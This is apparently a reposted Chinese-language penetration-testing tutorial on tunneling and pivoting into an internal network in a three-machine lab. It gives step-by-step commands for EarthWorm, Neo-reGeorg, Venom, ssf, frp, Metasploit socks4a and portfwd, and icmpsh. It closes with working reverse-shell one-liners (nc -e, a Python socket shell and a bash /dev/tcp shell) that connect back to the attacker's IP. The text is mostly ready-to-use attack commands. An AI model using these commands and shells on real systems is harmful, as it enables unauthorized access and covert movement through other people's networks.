内网渗透 | 常用的内网穿透工具使用

gclome

原文链接:内网渗透 | 常用的内网穿透工具使用

0x01 环境介绍

边缘机器：windows 7 ip:192.168.52.137/192.168.220.133
目标机器: windows 2008R2 ip:192.168.52.138
攻击机器：windows 10 ip:192.168.220.1
0x02 EarthWorm
将ew_for_windows上传到边缘机器 1.正向连接 在win7机器上执行ew -s ssocksd -l 888监听本机888端口。然后在win10机器上使用SocksCap64进行连接
​
然后把firefox放进文件运行
​
2.反向连接 攻击机器上执行ew_for_Win.exe -s rcsocks -l 1080 -e 1234对外1234端口转发到1080端口，然后边缘机器连接ew_for_Win.exe -s rssocks -d 192.168.220.1 -e 1234
​
​
​
再用SocksCap64代理本地127.0.0.1端口1080
​
​
0x03 Neo-reGeorg
这个是走http，生成php文件python neoreg.py generate -k 123456
​
在neoreg_server目录下生成了几个文件
​
针对不同类型上传不同脚本
​
攻击机连接python neoreg.py -k 123456 -u http://192.168.220.133/tunnel.php
​
然后同样用SocksCap64代理本地1080端口
​
0x04 Venom
攻击机器：

1. admin.exe -lport 9999

复制代码

​

边缘机器：

1. agent.exe -rhost 192.168.220.1 -rport 9999

复制代码

​
​
​
​
0x05 ssf 正向：
把certs文件夹和ssfd上传到边缘机器 目标边界监听1050端口

1. ssfd.exe ‐p 1050

复制代码

​

攻击机连接目标边界的1050端口，并将数据转发给1051端口ssf.exe ‐D 1051 ‐p 1050 192.168.220.133
​
​
反向：本地监听1234端口ssfd.exe ‐p 1234
​
然后目标边界连接我们的1234端口，并将数据转发给12345端口ssf.exe ‐F 12345 ‐p 1234 192.168.220.1
​
​
0x06 frp
攻击机器上设置frps.ini

1. [common]
   
2. bind_port = 6666

复制代码

然后运行frps.exe -c frps.ini

​
然后在边缘机器设置frpc.ini
​
然后执行frpc.exe ‐c frpc.ini
​
​
然后监听本地8010端口
​
0x07 msf Sock4a
搭建Socks4a代理

1. use auxiliary/server/socks4a
   
2. set SRVHOST  0.0.0.0
   
3. set SRVPORT  1080
   
4. run
   
5. route add 0.0.0.0 0.0.0.0 1

复制代码

修改proxychains配置文件

​

1. proxychains nmap 192.168.52.138 -sV -sT -p 80

复制代码

​

​
​
###0x07.1 portfwd端口转发 portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地，并且监听，使用方法如下

1. portfwd add -l 3389 -r 192.168.220.133 -p 3389

复制代码

然后我们访问本地3389

1. rdesktop 127.0.0.1:3389

复制代码

0x08 icmpsh

因为icmpsh工具要代替系统本身的ping命令的应答程序，所以需要输入命令来关闭本地程序的icmp应答，如果要恢复就设置为0，否则shell的允许会不稳定，比如一直刷屏，无法进行交互输入 sysctl -w net.ipv4.icmp_echo_ignore_all=1

1. 攻击机：./icmpsh_m.py 攻击ip 受害ip
   
2. 受害机：icmpsh.exe -t 攻击机ip

复制代码

​

0x09 nc
1.正向

1. 目标机器 nc -lvp 4444 -e /bin/sh linux nc -lvp 4444 -e c:\windows\system32\cmd.exe windows
   
2. 攻击机器 nc <目标机器ip> 4444

复制代码

​

2.反向

1. 攻击机器监听本地端口 nc -lvp 1234
   
2. 目标机器 nc 1234 -e /bin/sh linux nc 1234 -e cmd.exe windows

复制代码

​

在一般情况下目标机器是没有nc的。这里可以用其他工具或者编程语言来代替nc python反向shell

1. 攻击机器：nc -lvp 2222
   
2. 目标机器：python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.220.1',2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

复制代码

bash反向shell

1. 攻击机器：nc -lvp 2222
   
2. 目标机器：bash -i >& /dev/tcp/192.168.220.1/2222 0>&1

复制代码